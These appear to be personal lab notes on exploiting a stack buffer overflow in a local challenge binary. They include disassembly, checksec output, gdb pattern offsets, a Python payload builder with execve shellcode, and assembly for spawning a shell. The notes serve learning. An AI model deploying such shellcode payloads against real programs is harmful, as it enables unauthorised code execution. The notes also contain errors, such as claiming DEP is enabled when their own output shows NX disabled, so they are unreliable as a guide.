Exploiting Buffer Overflow
For this topic I went with https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/
BUT I decided to try and do it via execve
Disassembly
I made an effort to ignore the source code and use disassembly to identify the buffer overflow. I set the assembly flavor to be Intel for easier reading.
devel@kub:~/challenges/classic$ objdump -M intel -d ./classic
<snip>
0000000000401176 <vuln>:
401176: f3 0f 1e fa endbr64
40117a: 55 push rbp
40117b: 48 89 e5 mov rbp,rsp
40117e: 48 83 ec 60 sub rsp,0x60
401182: 48 8d 45 a0 lea rax,[rbp-0x60]
401186: ba 90 01 00 00 mov edx,0x190
40118b: 48 89 c6 mov rsi,rax
40118e: bf 00 00 00 00 mov edi,0x0
401193: e8 e8 fe ff ff call 401080 <read@plt>
401198: 89 45 fc mov DWORD PTR [rbp-0x4],eax
40119b: 48 8d 55 a0 lea rdx,[rbp-0x60]
40119f: 8b 45 fc mov eax,DWORD PTR [rbp-0x4]
4011a2: 89 c6 mov esi,eax
4011a4: 48 8d 3d 59 0e 00 00 lea rdi,[rip+0xe59] # 402004 <_IO_stdin_used+0x4>
4011ab: b8 00 00 00 00 mov eax,0x0
4011b0: e8 bb fe ff ff call 401070 <printf@plt>
4011b5: 48 8d 3d 63 0e 00 00 lea rdi,[rip+0xe63] # 40201f <_IO_stdin_used+0x1f>
4011bc: e8 9f fe ff ff call 401060 <puts@plt>
4011c1: b8 00 00 00 00 mov eax,0x0
4011c6: c9 leave
4011c7: c3 ret
00000000004011c8 <main>:
4011c8: f3 0f 1e fa endbr64
4011cc: 55 push rbp
4011cd: 48 89 e5 mov rbp,rsp
4011d0: 48 83 ec 10 sub rsp,0x10
4011d4: 89 7d fc mov DWORD PTR [rbp-0x4],edi
4011d7: 48 89 75 f0 mov QWORD PTR [rbp-0x10],rsi
4011db: 48 8d 3d 51 0e 00 00 lea rdi,[rip+0xe51] # 402033 <_IO_stdin_used+0x33>
4011e2: b8 00 00 00 00 mov eax,0x0
4011e7: e8 84 fe ff ff call 401070 <printf@plt>
4011ec: b8 00 00 00 00 mov eax,0x0
4011f1: e8 80 ff ff ff call 401176 <vuln>
4011f6: b8 00 00 00 00 mov eax,0x0
4011fb: c9 leave
4011fc: c3 ret
4011fd: 0f 1f 00 nop DWORD PTR [rax]
<snip>
The stack space created is 0x60 (96) bytes. We can tell from
401198: 89 45 fc mov DWORD PTR [rbp-0x4],eax
and
401182: 48 8d 45 a0 lea rax,[rbp-0x60]
that there are two stack variables at least. The first one is 8 bytes (likely an int) which means there must be another 8 bytes of padding. The remaining 0x50 (80) bytes make up the stack buffer
So in the vuln function there is a buffer of at most 0x50 (80) bytes, but read is given a size of 0x190 (400) bytes.
checksec
Next up is to determine exactly what security protections are in place.
devel@kub:~/challenges/classic$ checksec classic
[*] '/home/devel/challenges/classic/classic'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
devel@kub:~/challenges/classic$ cat /proc/sys/kernel/randomize_va_space
0
We know that DEP is enabled. DEP can be defeated with ROP.
Buffer Overflow
The first step in any buffer overflow is find the size of the overflow. I’m using PEDA.
I start gdb on the binary. First step is to make a pattern big enough to guarantee an overflow. 0x60 is 96 bytes, so I’ll make a pattern of 500 bytes just to be sure.
db-peda$ pattern_create 400 in.txt
Writing pattern of 400 chars to filename "in.txt"
Next I run the binary with in.txt as input.
gdb-peda$ r < in.txt
Try to exec /bin/sh
Read 400 bytes. buf is AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKA�
No shell for you :(
Program received signal SIGSEGV, Segmentation fault.
64 bit doesn’t allow direct manipulation of RIP, so I need to look at RSP to see if I control that
gdb-peda$ x/wx $rsp
0x7fffffffe508: 0x41413741
gdb-peda$ pattern_offset 0x41413741
1094793025 found at offset: 104
The overflow occurs at 104 bytes in
shellcode
The stack is executable so instead of a pattern, I can write shellcode to the buffer
I’m going to use a NOP sled, followed by shellcode that runs /bin/sh
Gotcha 1
GDB will show the exploit running by using r < in.txt
To get it to run on the command line we need to use trickery. (cat in.txt ; cat) | ./classic
https://security.stackexchange.com/questions/155844/using-cat-file-cat-to-run-a-simple-bof-exploit
Gotcha2
GDB alters the environment by setting LINES and COLUMNS. Unset these live or in .gdbinit
unset env LINES
unset env COLUMNS
Also remove any environment with env - /abs/path/classic
and env - gdb /abs/path/classic
results
I never did get the full shellcode running. The addresses are slightly off still
python
#!/usr/bin/python3
import struct
buflen = 104
nop = b'\x90' * 40
# 27 byte execve /bin/sh from tutorial
#shellcode = b"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"
# call exit instead of execve. Works.
#shellcode = b"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3c\x0f\x05"
# 25 byte execve /bin/sh
#shellcode = b"\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\xCC\x0f\x05"
# 30 byte execve /bin/sh
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\xCC\x0f\x05"
# execve /bin/bash with esp math?
#shellcode = b"\xCC\x48\x31\xd2\x52\x48\x83\xec\x40\xc6\x44\x24\x07\x2f\xc7\x44\x24\x08\x62\x69\x6e\x2f\xc7\x44\x24\x0c\x62\x61\x73\x68\x48\x8d\x7c\x24\x07\x52\x57\x48\x89\xe6\x31\xc0\xb0\x3b\xCC\x0f\x05"
# print hello world. works.
#shellcode = b"\xeb\x1e\x5e\x48\x31\xc0\xb0\x01\x48\x89\xc7\x48\x89\xfa\x48\x83\xc2\x0e\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xdd\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64\x21\x0a"
#rip = struct.pack("<Q", 0x7fffffffde50) # address of buffer gdb
rip = struct.pack("<Q", 0x7fffffffdea0) # address of buffer normal
padding = b"D" * (buflen - len(nop) - len(shellcode))
payload = nop + shellcode + padding + rip
f = open("in.txt", "wb")
f.write(payload)
f.close()
# nasm -f elf64 sh.s -o sh.o
# ld sh.o -o sh
# gcc -m64 -Wl,-e_start -nostdlib hello.S
.section .text
.globl _start
_start:
# third argument of execve is envp, set to NULL
xor %rdx, %rdx
# zero terminator
push %rdx
# space for string
sub $16, %rsp
# end is aligned to the zero terminator
movb $0x2f, 7(%rsp) # /
movl $0x2f6e6962, 8(%rsp) # bin/
movl $0x68736162, 12(%rsp) # bash
movl $0x0a, 16(%rsp)
# first argument to execve is the file name
leaq 7(%rsp), %rdi
# push NULL to the stack, argv terminator
pushq %rdx
# also argv[0]
push %rdi
# second argument to execve is argv
mov %rsp, %rsi
# copy 59 to rax, defining syscall number for execve
# avoid zero byte
xor %eax, %eax
movb $59, %al
syscall